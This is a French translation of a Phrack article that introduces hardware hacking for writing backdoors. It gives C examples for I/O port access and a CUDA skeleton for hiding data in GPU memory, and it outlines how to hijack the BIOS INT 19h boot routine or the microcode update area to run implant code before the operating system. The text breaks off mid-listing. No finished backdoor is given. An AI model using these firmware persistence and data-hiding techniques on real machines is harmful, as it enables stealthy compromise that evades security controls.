==Phrack Inc.== Volume 0x0c, Issue 0x40, Phile #0x0c of 0x11 |=-----------------------------------------------------------------------=| |=------------------=[ Hacking deeper in the system ]=-------------------=| |=-----------------------------------------------------------------------=| |=-----------------------------------------------------------------------=| |=-------------------=[ By scythale ]=-------------------=| |=-------------------=[ ]=-------------------=| |=-----------------------------------------------------------------------=| |=------------=[ Traduit par TboWan pour arsouyes.org ]=-----------------=| Contents 1. Résumé 2. Une rapide introduction au système d'E/S 3. Jouer avec le GPU 4. Jouer avec le BIOS 5. Conclusion 6. Références 7. Remerciements 1. Résumé De nos jours, on observe un nombre grandissant de papiers qui traitent du hacking matériel. Même si les backdoors basées-matérielles sont loin d'être une bonne solution à utiliser à l'échelle, ce sujet est très important puisque certaines grosses entreprises planifient de prendre le contrôle de nos ordinateurs sans notre accord en utilisant des concepts vraiment mal conçus comme les DRM et TCPA. Comme nous devons à n'importe quel prix les empêcher de le faire, l'heure est venue pour un petit article d'introduction au monde du matériel... Ce papier constitue une minuscule introduction au piratage matériel dans une perspective d'écriture de backdoor (Ben quoi ! c'est phrack, je ne vais pas vous expliquer comment contrôler votre machine à café via une interface RS232). En fait, même si backdoorer le matériel n'est pas une si bonne idée, c'est une bonne manière d'entrer dans le piratage matériel. Le but de l'auteur est de fournir au lecteur les bases du piratage matériel qui devraient être utile pour préparer le combat contre les TCPA et autres choses crapuleuses[crappy things] sponsorisées par de gros [sucke]... erm... "compagnies" comme Sony et Microsoft. Ce papier est centré sur i386. Il ne couvre aucune autre architecture, mais il peut être utilisé comme base pour la recherche sur d'autres matériels. Donc, gardez à l'esprit que la pluspart des choses présentées ici ne fonctionneront pas sur une autre machine qu'un PC. Les sujet comme les périphériques, le BIOS et le fonctionnement interne d'un PC seront discuté et quelques idées pour les faire passer à notre avantage seront présentées. Ce papier N'EST PAS une [ad] ni une présentation d'un l0g1c13l D14b0l1qU3, vous n'y trouverez donc pas de backdoor complètement fonctionnelle. Le but de l'auteur est de fournir des informations qui vous aideront à écrire vos propres trucs, pas de vous fournir un travail déjà fait. Ce sujet n'est pas un sujet particulièrement difficile, tout ce qu'il requiert est de l'imagination. Pour comprendre cet article, quelques connaissances sur l'assembleur x86 et son architecture est lourdement recommandée. Si vous êtes un nouveau de ces sujets, je vous recommande fortement de lire "The Art od Assembly Programming' (voir [1]). 2. Une rapide introduction au système d'E/S Avant de creuser dans le sujet, quelques explications doivent êtres faites. Ceux d'entre vous qui connaissent déjà comment fonctionnent les E/S sur Intel et pourquoi elles sont peuvent passer à la section suivante. Les autres, continuez simplement de lire. Comme ce papier se concentre sur le matériel, il serait pratique de savoir comment on y accède. Le système d'E/S founis ce genre d'accès. Comme tout le monde le sait, le processeur (CPU) est le coeur, ou pour être plus juste, le cerveau de l'ordinateur. Mais la seule chose qu'il fasse, c'est de calculer. [Basically], un CPU ne sert à rien sans les périphériques. Les périphériques fournissent les données à être calculées au CPU, et lui permette de retourner une réponse à notre requête. Le système d'E/S est utilisé pour lier la plupart des périphériques au CPU. La façon dont le processeur voir les périphériques basés sur E/S est presque la même que celle de voire la mémoire. En fait, tout ce que le processeur doit faire pour communiquer avec les périphériques est de lire et écrire des données "quelque part en mémoire" : le système d'E/S est chargé de gérer les étapes suivantes. Le "quelque part en mémoire" est représenté par un port d'E/S. Les ports d'E/S sont des "adresses" spéciales qui connectent le bus de données du CPU vers les périphériques. CHaque périphérique basé sur E/S utlise au moins un port d'E/S, beaucoup d'entre eux en utilisent plusieurs. [Basically], la seule chose que les drivers de périphériques fait est de manipuler les ports d'E/S (et bien, très [basically], c'est ce qu'ils font, juste pour communiquer avec le matériel). L'architecture Intel fournis trois façons principales pour manipuler les ports d'E/S : [memory-mapped I/O, Input/Output mapped I/O and DMA.] [memory-mapped I/O] Le système [memory-mapped I/O] permet de manipuler les ports d'E/S comme si c'était de la mémoire. Les instructions comme "mov" sont utilisées pour s'interfacer avec lui. Le système est simple : tout ce qu'il fait est de faire correspondre les ports d'E/S à des adresses mémoires pour que quand les données sont lues/écrites à une de ces adresses, la données est en fait envoyée/reçue par le périphérique connecté au port correspondant. Donc, la façon de communiquer avec un périphérique est la même que de communiquer avec la mémoire. [Input/Output mapped I/O] Le système [Input/Output mapped I/O] utilise des instructions du CPU dédiées à acceder aux ports d'E/S. Sous i386, ces instructions sont "in" et "out" : in 254, reg ; écrit le contenu du registre reg vers le port #254 out reg, 254 ; lit les données du port #254 et les met dans reg Le seul problème avec ces deux instruction est que le port est encodé sur 8 bits, ne permettant d'accéder qu'au ports 0 à 255. La chose embêtante est que cette plage de port est souvant connectée au matériel interne comme l'horloge système. La seule façon d'y [circumvent] est la suivante (pris dans "The Art of Assembly Programming", voir [1]) : Pour accéder aux ports d'E/S aux adresses plus hautes que 255, vous devez charger l'adresse d'E/S 16 bits dans le registre DX et utiliser DX comme pointeur vers l'adresse spécifiée. Par exemple, pour écrire un octet vers l'adresse E/S $378, vous pourriez utiliser la séquence d'instruction suivante : mov $378, dx out al, dx DMA DMA signifie "Direct Memory Access" [NDT : accès direct à la mémoire]. Le système DMA est utilisé pour améliorer les performances des périphériques vers la mémoire. C'était il y a longtemps, la pluspart des matériels utilisaient le CPU pour transférer les données vers et depuis la mémoire. Quand les ordinateurs ont commencé à être "multimedia" (un terme sans plus de sens que ["people ready"] mais qui sonne bien mieux que "nous-sommes-en-train-de-vous-la-mettre-profond [ads]"), c'est à dire quand les ordinateurs ont commencer à venir équipés de CD-ROM et de cartes son, les CPU ne pouvaient plus faire des choses comem jouer de la musique tout en affichant un flingue tirant sur un monstre juste parce que le joueur a pressé la touche "ctrl". Donc, les constructeurs ont créé une nouvelle puce capable de transporter ce genre de choses, et donc est né le contrôleur DMA. DMA permet aux périphériques de transférer des données depuis et vers la mémoire avec de petites instructions faites par le CPU. En gros, tout ce que le CPU fait, c'est d'initier le transfert DMA et ensuite, la puce DMA s'occupe du reste, permettant au CPU de s'occuper d'autres tâches. La chose très intéressante est que puisque le CPU ne fait en fait pas vraiment le transfert et puisque les périphériques sont utilisés, le mode protégé n'interfère pas, ce qui signifie qu'on peut écrire et lire (presque) n'importe où. Cette idée est loin d'être nouvelle, et PHC l'a déjà évoquée dans l'une de leur parodie de phrack. Le DMA est vraiment un système puissant. Il nous permet de développer des trucs très cools mais il faut dépenser un énorme prix : le DMA est une merde à utiliser car il est très spécifique à l'architecture. Voici les principaux types différents de DMA : - Contrôleur DMA (DMA tiers [NDT : third-party DMA) : Ce système DMA est vraiment vieux et inefficace. L'idée ici est d'avoir un controleur DMA général sur la carte mère qui va gérer chaque opération DMA pour chaque périphérique. Ce controleur a principalement été utilisé avec des périphériques ISA et son utilisation est maintenant obsolette vis à vis des performances et car seul 4 ou 8 (suivant si la carte a deux DMA en cascade) transferts DMA pevent être effectués au même moment (le contrôleur DMA ne fournis que 4 canaux). - [DMA bus mastering (first-party DMA)] : Ce système DMA fournis de meilleures performances que le contrôleur DMA. L'idée est de permettre à chaque périphérique de gérer le DMA lui-même par un processus connu en tant que ["Bus Mastering"]. Au lieu de dépendre d'un Contrôleur DMA général, chaque périphérique est capable de prendre le contrôle du bus système pour effectuer son transfert, permettant aux constructeurs de matériels de fournis un système efficace pour leur périphérique. Ces trois choses sont assez pratiques pour commencer mais les systèmes d'exploitation modernes fournissent aussi des médias d'accès aux E/S. Comme il y a beaucoup de systèmes sur le marché de l'informatique, je ne vous introduirait que le système GNU/Linux, qui constitue un système parfait pour découvrir le piratage matériel sous Intel. Comme beaucoup de systèmes, Linux fonctionne en deux modes : user land [NDT : le mode utilisateur] et kernel land [NDT : le mode noyau]. Puisque le mode noyau permet déjà un bon accès au système, regardons la façon en mode utilisateur d'acceder aux E/S. Je vais vous expliquer ici deux façons basiques de jouer avec le matériel : in*(), out*() et /dev/port : in/out Les instructions in et out peuvent êtr eutilisées sous linux en mode utilisateur. [Equally], les fonctions outb(2), outw(2), outl(2), inb(2), inw(2), inl(2) sont fournies pour jouer avec les E/S et peuvent être appellées depuis le mode noyau ou utilisateur. Comme il est dit dans "Linux Device Drivers" (voir [2]), leur utilisation est la suivante : unsigned inb(unsigned port); void outb(unsigned char byte, unsigned port); Lit ou écrit un octet dans un port (un port de 8 bits). L'argument port est défini comme [unsigned long] sous certaines plateformes et comme [unsigned short] sous d'autres. Le type de retour de inb est aussi différent à travers les architectures. unsigned inw(unsigned port); void outw(unsigned short word, unsigned port); Ces fonctions accèdent à des ports 16 bits (qui prennent des mots); elles ne sont pas disponibles quand on compile pour les platerofmes M68k et S390, qui ne supportent que les E/S d'octets. unsigned inl(unsigned port); void outl(unsigned longword, unsigned port); Ces fonctions accèdent à des ports de 32 bits. longword est soit déclaré comme unsigned long ou unsigned int, suivant la plateforme. Comme les E/S de mots, les E/S "longues" ne sont pas disponibles sous M68k et S390. Notez qu'aucune opération d'E/S de ports de 64 bits n'est définie. Même sous les architectures 64 bits, l'espace d'adresses des ports utilise un chemin de données de 32 bits (maximum). La seule restriction pour acceder au E/S de cette façon depuis le mode utilisateur est d'utiliser les fonctions iopl(2) et ioperm(2), qui sont parfois protégées par des systèmes de sécurité comme grsec. Et bien sur, vous devez être root. Voici un exemple de code utilisant cette manière d'accéder aux E/S : ------[io.c /* ** Juste un simple code pour voir comment jouer avec inb()/outb() ** ** utilisation : ** lire : io r ** * écrire : io w ** ** compiler avec : gcc io.c -o io */ #include #include #include #include /* iopl(2) inb(2) outb(2) */ void read_io(long port) { unsigned int val; val = inb(port); fprintf(stdout, "valeur : %Xn", val); } void write_io(long port, long value) { outb(value, port); } int main(int argc, char **argv) { long port; if (argc < 3) { fprintf(stderr, "utilisation : io [valeur]n"); exit(1); } port = atoi(argv[2]); if (iopl(3) == -1) { fprintf(stderr, "Ne peux pas récupérer les permissions du système I/On"); exit(1); } if (!strcmp(argv[1], "r")) read_io(port); else if (!strcmp(argv[1], "w")) write_io(port, atoi(argv[3])); else { fprintf(stderr, "utilisation : io [valeur]n"); exit(1); } return 0; } ------ /dev/port /dev/port est un fichier spécial qui vous permet d'acceder aux E/S comme si vous manipuliez un simple fichier. L'utilisation des fonctions open(2), read(2), write(2), lseek(2) et close(2) permettent de manipuler /dev/port. Allez simplement à l'adresse correspondant au port avec lseek() et ensuite, read() ou write() vers le matériel. Voici un exemple de code qui le fait : ------[port.c /* ** Juste un simple code pour voir comment jouer avec /dev/port ** ** utilisation : ** lire : io r ** * écrire : io w ** ** compiler avec : gcc io.c -o io */ #include #include #include #include #include #include void read_port(int fd, long port) { unsigned int val = 0; lseek(fd, port, SEEK_SET); read(fd, &val, sizeof(char)); fprintf(stdout, "valeur : %Xn", val); } void write_port(int fd, long port, long value) { lseek(fd, port, SEEK_SET); write(fd, &value, sizeof(char)); } int main(int argc, char **argv) { int fd; long port; if (argc < 3) { fprintf(stderr, "utilisation : io [valeur]n"); exit(1); } port = atoi(argv[2]); if ((fd = open("/dev/port", O_RDWR)) == -1) { fprintf(stderr, "ne peut pas ouvrir /dev/portn"); exit(1); } if (!strcmp(argv[1], "r")) read_port(fd, port); else if (!strcmp(argv[1], "w")) write_port(fd, port, atoi(argv[3])); else { fprintf(stderr, "utilisation : io [valeur]n"); exit(1); } return 0; } ------ Ok, une dernière chose avant de fermer cette introduction : pour les utilisateurs Linux qui veulent lister les ports d'E/S sur leur système, faites juste un "cat /proc/ioports", i.e. : $ cat /proc/ioports # liste les ports de 0000 à FFFF 0000-001f : dma1 0020-0021 : pic1 0040-0043 : timer0 0050-0053 : timer1 0060-006f : keyboard 0080-008f : dma page reg 00a0-00a1 : pic2 00c0-00df : dma2 00f0-00ff : fpu 0170-0177 : ide1 01f0-01f7 : ide0 0213-0213 : ISAPnP 02f8-02ff : serial 0376-0376 : ide1 0378-037a : parport0 0388-0389 : OPL2/3 (left) 038a-038b : OPL2/3 (right) 03c0-03df : vga+ 03f6-03f6 : ide0 03f8-03ff : serial 0534-0537 : CS4231 0a79-0a79 : isapnp write 0cf8-0cff : PCI conf1 b800-b8ff : 0000:00:0d.0 b800-b8ff : 8139too d000-d0ff : 0000:00:09.0 d000-d0ff : 8139too d400-d41f : 0000:00:04.2 d400-d41f : uhci_hcd d800-d80f : 0000:00:04.1 d800-d807 : ide0 d808-d80f : ide1 e400-e43f : 0000:00:04.3 e400-e43f : motherboard e400-e403 : PM1a_EVT_BLK e404-e405 : PM1a_CNT_BLK e408-e40b : PM_TMR e40c-e40f : GPE0_BLK e410-e415 : ACPI CPU throttle e800-e81f : 0000:00:04.3 e800-e80f : motherboard e800-e80f : pnp 00:02 $ 3. Jouer avec le GPU Les cartes 3D sont simplement géniales, point. Quand vous installez une telle carte dans votre ordinateur, vous ne faite pas que brancher un périphérique qui va rendre beau vos graphismes, vous mettez aussi un mini-ordinateur dans votre propre ordinateur. De nos jours, les cartes graphiques ne sont plus de simples puces. Elles ont une mémoire, un processeur, elles ont même un BIOS ! Vous pouvez apprécier PLEIN de choses avec ces petites fonctionnalités. Tout d'abord, considérons ce qu'est vraiment une carte 3D. Les cartes 3D sont là pour augmenter les performances de votre ordinateur dans le rendu 3D et pour envoyer en sortie, ce que doit afficher votre écran. Comme je l'ai dit, il y a trois parties qui nous intéressent dans nos actions di4b0L1Qu3s : 1/ La RAM vidéo. C'est une mémoire embarquée sur la carte. Cette mémoire est utilisée pour enregistrer la scène qui doit être affichée et pour stocker les résultats des calculs. La pluspart des cartes de nos jours ont plus de 256Mo de mémoire, ce qui nous fournis une chouette place pour stocker nos affaires. 2/ L'unité de calcul graphique [NDT : Graphical Processing Unit - GPU]. Elle constitue le processeur de votre carte 3D. La plupart des opérations 3D sont mathématiques, donc la plupart des instructions du GPU calculent des maths conçues pour le graphisme. 3/ Le BIOS. Beaucoup de périphériques incluent de nos jours leur propre BIOS. Les cartes 3D n'y font pas exception, et leur petit BIOS peut être très intéressant car il contient le firmware de votre carte 3D, et quand vous accédez au firmware, et bien, vous pouvez simplement faire presque tout ce dont vous rêvez. Je vais vous donner des idées de ce qu'on peut faire avec ces trois éléments, mais d'abord, nous devons savoir comment jouer avec la carte. Malheureusement, comme pour jouer avec n'importe quel périphérique de votre ordinateur, vous avez besoin des spécifications de votre matériel, et la plupart des cartes 3D ne sont pas assez ouvertes pour faire tout ce qu'on voudrait. Mais ce n'est pas un gros problème en lui-même puisqu'on peut utiliser une simple API qui va discuter avec la carte pour nous. Bien sûr, ça nous empêche d'utiliser des tours sur la carte sous certaines conditions, comme dans un shellcde, mais une fois que vous êtes passés root et pouvez faire tout ce qui vous ferait plaisir sur le système, ne n'est plus un problème. L'API dont je parle est OpenGL (voir [3]), et si vous n'êtes pas encore familiez avec elle, je vous suggère de lire le tuto sur [4]. OpenGL est une API de programmation 3D définie par l'OpenGL Architecture Review Board qui est composé de membre beaucoup des vendeurs graphiques important de l'industrie. Cette librairie est souvent fournie avec vos drivers et en l'utilisant, vous pouvez développer facilement du code portable qui utilisera les fonctionnalités de la carte 3D présente. Puisque nous savons maintenant communiquer avec la carte, regardons plus profondément dans cette pièce de matériel. Les GPU sont utilisées pour transformer un environnement 3D (la scène) fournie par le programmeur en une image 2D (votre écran). Grosso modo, un GPU est un pipeline de calcul appliquant diverses opérations mathématiques sur les données. Je n'introduit pas ici le processus complet de transformation d'une scène 3D en écran 2D car ce n'est pas le sujet de ce papier. Dans notre cas, tout ce que nous devons savoir sont les choses suivantes : 1/ Le GPU est utilisé pour transformer l'entrée (généralement une scène 3D mais rien ne nous empêche de lui donner autre chose) 2/ Ces transformations sont faite en utilisant des opérations mathématiques utilisées courrament en programmation graphique (et encore une fois, rien ne nous empêche d'utiliser ces opérations dans un autre but) 3/ Le pipeline est composé de deux calculs principaux, chacun impliquant plusieurs étapes de transformation des données : - Transformation et Lumières : cette étape traduit les objets 3D en réseau 2D de polygones (généralement des triangles), générant un rendu en "fil de fer". - Rastérisation : Cette étape prend le rendu en fil de fer en entrée et calcul les valeurs des pixels à afficher à l'écran. Regardons ce qu'on peut faire avec toutes ces fonctionnalités. Ce qui nous intéresse ici est de cacher des données là où il devrait être difficile de les trouver et d'exécuter des instruction en dehors du processeur de l'ordinateur. Je ne vous parlerai pas de patcher le firmware des cartes 3D car ça demande un énorme reverse engineering et car c'est très spécifique à chaque carte, ce qui n'est pas le sujet de ce papier. Considérons d'abord l'exécution d'instructions. Bien sûr, puisque nous jouons avec une carte 3D, nous ne pouvons pas faire tout ce qu'on peut avec un processeur d'ordinateur comme lancer des interruptions logiciells, faires des opérations d'E/S ou manipuler la mémoire, mais nous pouvons faire plein d'opérations mathématiques. Par exemple, on peut chiffrer et déchiffrer des données avec le processeur de carte 3D qui pourra rendre la tâche du reverse engineering assez pénible. On peut aussi accélérer les programmes qui se bases sur des opérations mathématiques lourdes. Ce genre de choses ont déjà largement été faites. En fait, des gens prennent déjà du fun à utiliser les GPU pour diverses applications (voir [5]). L'idée ici est d'utiliser le GPU pour transformer les données que nous lui aurions données. Les GPU fournissent des petits programmes appellés "shaders". Vous pouvez voir les shaders comme des détournement programmables dans le GPU qui vous permettent d'ajouter vos propres procédures dans le processus de transformation des données. Ces détournements peuvent être déclanchés dans deux endroits du pipeline de calculs, en fonction du shader que vous utilisez. Traditionnellement, les shaders sont utilisés par les programmeurs pour ajouter des effets spéciaux sur le processus de rendu, et comme le processus de rendu est fait de deux étapes, le GPU fournis des shaders programmables. Le premier shader est appellé "Vexter shader". Il est utilisé pendant l'étape de transformation et lumières. Le deuxième s'appelle "Pixel shader" et est utilisé pendant le processus de rastérisation. Ok, maintenant, on a deux points d'entrées dans le système du GPU, mais ça ne nous dis toujours pas comment développer et injecter nos procédures. Encore une fois, puisque nous sommes en train de jouer dans le monde du matériel, il y a différentes manières de le faire, en fonction du matériel et du système sur lequel on tourne. Les shaders utilisent leur propre langage de programmation, certains sont de niveau quasi assembleur, d'autre sont de plus de haut niveau, style C. Les trois langages principaux utilisés de nos jours sont de haut niveaux : - High-Level Shader Language (HLSL) : ce langage est fournis avec l'API DirectX de Microsoft, vous devez donc avoir MS Windows pour l'utiliser (voir [6]) - OpenGL Shading Language (GLSL or GLSlang) : ce langage est fournis avec l'API OpenGL (voir [7]) - Cg : ce langage a été introduit par NVIDIA, pour programmer sur leur matériels en utilisant soit l'API DirectX ou l'API OpenGL. Cg vient avec un toolkit complet distribué par NVIDIA gratuitement (voir [8] et [9]). Maintenant que nous savons comment programmer les GPU's, considérons la partie la plus intéressante : la planque de données. Comme je l'ai dit, les cartes 3D sont fournis avec une chouette quantité de mémoire. Bien sûr, cette mémoire a un but graphique mais rien ne nous empêche d'y stocker queqlues trucs. En fait, avec l'aide des shaders, on peut même demander à la carte 3D de stocker et chiffrer nos données. C'est assez facile à faire : on met nos données à l'entrée du pipeline, on programme le shader pour décider comment stocker et chiffrer et c'est bon. Ensuite, récupérer les données est presque la même opération : on demande au shader de déchiffrer et renvoyer les données vers nous. Notez que ce chiffrement est très faible, puisqu'on ne se base que sur le calcul du shader et puisque le processus de chiffrement et déchiffrement peut être inversé en regardant simplement à la programamtion du shader dans votre code, mais ça peut constituer une façon efficace d'améliorer des trucs déjà existants (un Shiva basé sur carte 3D peut être fun). Ok, nous pouvons donc maintenant commencer à coder des trucs qui tirent avantage de nos cartes 3D. Mais attendez ! On a pas envie de s'emmerder avec les shaders, ni à apprendre la programmation 3D, on veut juste faire exécuter notre code sur le périphérique pour pouvoir tester rapidement ce qu'on peut faire avec ces périphériques. Apprendre la programmation des shaders est importante parce qu'elle permet de mieux comprendre le périphérique mais ça peut être vraiment long pour les personnes non familières du monde 3D. Récement, nVIDIA a publié un SDK permettant aux programmeurs d'utiliser facilement les périphériques 3D pour autre chose que les graphismes. nVIDIA CUDA (voir [10]) est un SDK permettant aux programmeurs d'utiliser le langage C avec de nouveaux mot clefs qui disent au compilateur quelle partie du code devrait être exécutée sur le périphérique et laquelle sur le CPU. CUDA vient aussi avec des librairies mathématiques variées. Voici un code amusant pour illustrer l'utilisation de CUDA : ------[ 3ddb.c /* ** 3ddb.c : un programme très simple pour stocker un tableau dans ** la mémoire GPU et lui faire "chiffrer". Compilez-le avec nvcc. */ #include #include #include #include #include /*** GPU code and data ***/ char * store; __global__ void encrypt(int key) { /* Faite le chiffrement que vous */ /* voulez ici et mettez le résultat */ /* dans "store" (vous deviez */ /* le code du CPU si la taille du */ /* texte chiffré est différente de */ /* celle du texte clair). */ } /*** end of GPU code and data ***/ /*** CPU code and data ***/ CUdevice dev; void usage(char * cmd) { fprintf(stderr, "usage is : %s n", cmd); exit(0); } void init_gpu() { int count; CUT_CHECK_DEVICE(); CU_SAFE_CALL(cuInit()); CU_SAFE_CALL(cuDeviceGetCount(&count)); if (count <= 0) { fprintf(stderr, "error : could not connect to any 3D cardn"); exit(-1); } CU_SAFE_CALL(cuDeviceGet(&dev, 0)); CU_SAFE_CALL(cuCtxCreate(dev)); } int main(int argc, char ** argv) { int key; char * res; if (argc != 3) usage(argv[0]); init_gpu(); CUDA_SAFE_CALL(cudaMalloc((void **)&store, strlen(argv[1]))); CUDA_SAFE_CALL(cudaMemcpy(store, argv[1], strlen(argv[1]), cudaMemcpyHostToDevice)); res = malloc(strlen(argv[1])); key = atoi(argv[2]); encrypt<<<128, 256>>>(key); CUDA_SAFE_CALL(cudaMemcpy(res, store, strlen(argv[1]), cudaMemcpyDeviceToHost)); for (i = 0; i < strlen(argv[1]); i++) printf("%c", res[i]); CU_SAFE_CALL(cuCtxDetach()); CUT_EXIT(argc, argv); return 0; } ------ 4. Jouer avec le BIOS Les BIOS's sont très intéressants. En fait, de petites choses ont déjà été faites dans le domaines, et quelques trucs ont déjà été publiés. Mais récapitulons toutes ces choses et regardons quelles trucs magnifiques on peut faire avec cette petite puce. Tout d'abord, BIOS signifie Basic Input/Output System. Cette puce est chargé de gérer le processus de démarrage, la configuration bas-niveau et fournir un ensemble de fonction pour les chargeurs d'amorçages et au système d'exploitation pendant le début du processus de chargement. En fait, au démarrage, le BIOS prend d'abord le contrôle du système, ensuite, il fait une paire de vérifications, ensuite, il met une IDT [NDT : table des interruptions - Interrupt Description Table] pour fournir des fonctionnalités via les interruptions et enfin, essaye de charger le chargeurs d'amorçage dans chaque périphérique bootable, suivant sa configuration. Par exemple, si vous spécifier dans votre setup BIOS de d'abord essayer de démarrer sur le périphérique optique et ensuite sur le disque dur, au démarrage, le BIOS va d'abord essayer de lancer un OS du CD, et ensuite, du disque dur. Le code du BIOS est le tout premier à être exécuté sur le système. Le truc intéressant est que le backdoorer nous donne virtuellement un contrôle profond sur le système et une façon pratique de contourner presque tous les systèmes de sécurité qui fonctionne sur la cible, puisque nous exécutons notre code avant-même que le système ne démarre ! Mais l'inconvénient de tout ça est gros : puisqu'on joue avec le matériel, la portabilité devient un très gros problème. La première chose que vous avez besoin de savoir pour jouer avec le BIOS est qu'il y a plusieurs manière de le faire. Quelques publications réellement bonnes (voir [11]) ont été faites sur le sujet, mais je me focaliserai sur ce qu'on peut faire quand on a modifié la ROM qui contient le BIOS. Le BIOS est stocké dans une puce sur votre carte mère. Les vieux BIOS's n'étaient que de simples ROM's sans possibilités d'écritures, mais ensuite, certains fabricants ont eu l'idée brillante de permettre des modifications du BIOS. Ils introduisirent le flasher de BIOS, qui est un petit périphérique avec lequel on peut communiquer via le système d'E/S. Le flasher peut lire et écrire le BIOS pour nous, ce qui est tout ce dont on a besoin pour jouer avec. Bien sûr, puisqu'il y a plein de BIOS différents dans la nature, je ne vous introduirai pas une puce particulière. Voici quelques pointeurs qui vous y aideront : * [12] /dev/bios est un outil de l'initiative OpenBIOS (voir [13]). C'est un module noyau pour Linux qui crée un périphérique pour manipuler facilement des BIOS's divers. Il peut accéder à plusieurs BIOS's, dont les BIOS's des cartes réseaux. C'est un chouette outil à utiliser et le code est agréable, vous pourrez donc voir comment faire fonctionner vos trucs. * [14] est un guide MERVEILLEUX qui vous explique presque tous sur les BIOS's Award. Ce papier doit être lu pour n'importe qui intéressé dans le sujet, même si vous n'avez pas de BIOS Award. * [15] est un site web intéressant pour trouver des informations sur des BIOS variés. Pour pouvoir commencer facilement et rapidement, nous allons utiliser une machine virtuelle, qui est très pratique pour tester vos concepts avant de peter votre BIOS. Je vous recommande d'utiliser Bochs (voir [16]) car il est libre et open-source et principalement parce qu'il vient avec un code source très bien commenté utilisé pour émuler un BIOS. Mais d'abord, regardons comment le BIOS fonctionne réellement. Comme je l'ai dit, le BIOS est la première entité qui a le contrôle sur votre système au démarrage. Le truc intéressant est que, pour commencer à reverse engineerer votre BIOS, vous n'avez même pas besoin d'utiliser le flasher. Au démarrage, le code du BIOS est copié en RAM à un endroit spécifique et utilise une plage de mémoire spécifique. Tout ce que nous avons à faire pour lire ce code, qui est de l'assembleur 16-bits, et de lire la mémoire. La zone mémoire du BIOS commence à 0xf0000 et finis à 0x100000. Une façon simple de copier le code est de faire simplement la chose suivante : % dd if=/dev/mem of=BIOS.dump bs=1 count=65536 seek=983040 % objdump -b binary -m i8086 -D BIOS.dump Vous devriez noter que le BIOS contient des données, une telle copie n'est pas précise car vous aurez un décallage qui empêchera le code d'être désassemblé correctement. Pour gérer ce problème, vous devriez utiliser la table des points d'entrées fournie plus loin et utiliser objdump avec l'option "--start-address". Bien sûr, le code que vous allez voir en mémoire n'est jamais facile à récupérer dans la puce, mais le fait que vous puissiez récuperer un truc du genre "texte déchiffré" peut vous aider beaucoup. Pour commencer à voir ce qui est intéressant dans ce code, regardons à un commentaire très intéressant dans le code source du BIOS Bochs (dans [17] : 30 // ROM BIOS compatability entry points: 31 // =================================== 32 // $e05b ; POST Entry Point 33 // $e2c3 ; NMI Handler Entry Point 34 // $e3fe ; INT 13h Fixed Disk Services Entry Point 35 // $e401 ; Fixed Disk Parameter Table 36 // $e6f2 ; INT 19h Boot Load Service Entry Point 37 // $e6f5 ; Configuration Data Table 38 // $e729 ; Baud Rate Generator Table 39 // $e739 ; INT 14h Serial Communications Service Entry Point 40 // $e82e ; INT 16h Keyboard Service Entry Point 41 // $e987 ; INT 09h Keyboard Service Entry Point 42 // $ec59 ; INT 13h Diskette Service Entry Point 43 // $ef57 ; INT 0Eh Diskette Hardware ISR Entry Point 44 // $efc7 ; Diskette Controller Parameter Table 45 // $efd2 ; INT 17h Printer Service Entry Point 46 // $f045 ; INT 10 Functions 0-Fh Entry Point 47 // $f065 ; INT 10h Video Support Service Entry Point 48 // $f0a4 ; MDA/CGA Video Parameter Table (INT 1Dh) 49 // $f841 ; INT 12h Memory Size Service Entry Point 50 // $f84d ; INT 11h Equipment List Service Entry Point 51 // $f859 ; INT 15h System Services Entry Point 52 // $fa6e ; Character Font for 320x200 & 640x200 Graphics (lower 128 characters) 53 // $fe6e ; INT 1Ah Time-of-day Service Entry Point 54 // $fea5 ; INT 08h System Timer ISR Entry Point 55 // $fef3 ; Initial Interrupt Vector Offsets Loaded by POST 56 // $ff53 ; IRET Instruction for Dummy Interrupt Handler 57 // $ff54 ; INT 05h Print Screen Service Entry Point 58 // $fff0 ; Power-up Entry Point 59 // $fff5 ; ASCII Date ROM was built - 8 characters in MM/DD/YY 60 // $fffe ; System Model ID Ces offsets indiquent où trouver les fonctionnalités spécifiques du BIOS en mémoire et, comme elles sont standardes, vous pouvez les appliquer à votre propre BIOS aussi. Par exemple, l'interruption BIOS 19h se trouve en mémoire à l'adresse 0xfe6f2 et sa tâche est charger le gestionnaire d'amorçage en RAM et d'y sauter. Sur les vieux systèmes, un petit truc consistait à sauter à cette adresse mémoire pour redémarrer le système. Mais avant de considérer des modifications du code du BIOS, nous avons une chose à résoudre : La puce BIOS a un espace mémoire limité, et s'il peut fournir suffisement de place pour une backdoor basique, nous finirons vite à avoir besoin de plus de place pour stocker du code si nous voulons faire quelque chose de sympathique. Nous avons deux manières de le faire : 1/ On modifie le code de l'int19h pour qu'au lieu de charger le vrai gestionnaire d'amorçage sur un périphérique spécifié, il charge notre code (qui chargera ensuite le gestionnaire d'amorçage) à un endroit spécifique, comme un secteur marqué comme défectueux sur un disque dur spécifique. Bien sûr, ça implique d'altérer un autre media que le BIOS, mais, puisque ça nous fournis presque autant de place qu'on pourrait en rêver, cette méthode doit être prise en considération. 2/ Si vous voulez absolument jouer dans l'espace du BIOS, vous pouvez utiliser un petit truc sur certains modèles du BIOS. Un jours, les constructeurs de processeurs on fait un marché avec les constructeurs de BIOS. Les constructeurs de processeurs ont décidé de donner la possibilité de mettre à jour le microcode du CPU pour permettre de corriger des bugs sans avoir besoin de rappeller tout le matos vendu (vous vous rappellez du bug foof ?). L'idée était que le BIOS puisse stocker le microcode mis à jours et l'injecter dans le CPU à chaque fois qu'il démarre, puisque les modifications du microcode ne sont pas permanentes. Cette fonctionnalité est connue en tant que "BIOS update" [NDT : "mise à jour du BIOS"]. Bien sûr, ce microcode prend de la place et on peut chercher après le code qui l'injecte, le détourner pour qu'il ne fasse plus rien et écraser le microcode pour y stocker notre propre code. Implémenter 2/ est plus complexe que 1/, nous nous focaliserons donc sur le première pour commencer. L'idée est que le BIOS charge notre code avant le gestionnaire d'amorçage. C'est très simple à faire. Encore une fois, le code du BIOS Bochs va nous être utile, mais si vous regardez à votre copie du BIOS, vous devriez voir de petites différences. Le code qui nous intéresse est localisé à 0xfe6f2 et c'est l'interruption BIOS 19h. Celle-ci est vraiment intéressante car c'est celle qui doit charger le gestionnaire d'amorçage. Regardons à la partie intéressante du code : 7238 // We have to boot from harddisk or floppy 7239 if (bootcd == 0) { 7240 bootseg=0x07c0; 7241 7242 ASM_START 7243 push bp 7244 mov bp, sp 7245 7246 mov ax, #0x0000 7247 mov _int19_function.status + 2[bp], ax 7248 mov dl, _int19_function.bootdrv + 2[bp] 7249 mov ax, _int19_function.bootseg + 2[bp] 7250 mov es, ax ;; segment 7251 mov bx, #0x0000 ;; offset 7252 mov ah, #0x02 